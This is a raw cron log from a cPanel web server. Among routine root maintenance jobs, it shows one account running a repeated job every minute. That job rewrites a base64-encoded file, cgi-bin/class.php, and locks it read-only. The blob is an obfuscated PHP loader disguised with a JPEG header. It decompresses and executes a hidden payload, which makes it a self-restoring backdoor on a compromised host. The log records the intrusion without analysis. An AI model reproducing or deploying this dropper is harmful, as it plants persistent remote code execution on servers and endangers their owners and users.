Sep  8 09:40:01 server CROND[30565]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:40:01 server CROND[30570]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:40:01 server CROND[30572]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 09:40:01 server CROND[30573]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:40:01 server CROND[30569]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 09:41:01 server CROND[31398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:41:01 server CROND[31399]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:41:01 server CROND[31400]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:42:01 server CROND[31774]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:42:01 server CROND[31775]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 09:42:01 server CROND[31776]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:42:01 server CROND[31777]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:43:01 server CROND[32144]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:43:01 server CROND[32147]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:43:01 server CROND[32146]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:44:01 server CROND[32604]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:44:01 server CROND[32606]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:44:01 server CROND[32605]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:45:01 server CROND[534]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:45:01 server CROND[535]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 09:45:01 server CROND[536]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:45:01 server CROND[538]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 09:45:01 server CROND[537]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 09:45:01 server CROND[540]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:45:01 server CROND[539]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 09:46:01 server CROND[1500]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:46:01 server CROND[1501]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:46:01 server CROND[1502]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:47:01 server CROND[1902]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:47:01 server CROND[1903]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:47:01 server CROND[1904]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:48:01 server CROND[2323]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:48:01 server CROND[2324]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:48:01 server CROND[2322]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:49:01 server CROND[2818]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:49:01 server CROND[2819]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:49:01 server CROND[2820]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:50:01 server CROND[3207]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 09:50:01 server CROND[3208]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 09:50:01 server CROND[3212]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:50:01 server CROND[3216]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 09:50:01 server CROND[3215]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 09:50:01 server CROND[3219]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 09:50:01 server CROND[3213]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 09:50:01 server CROND[3214]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:50:01 server CROND[3218]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:51:01 server CROND[4046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:51:01 server CROND[4047]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:51:01 server CROND[4048]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
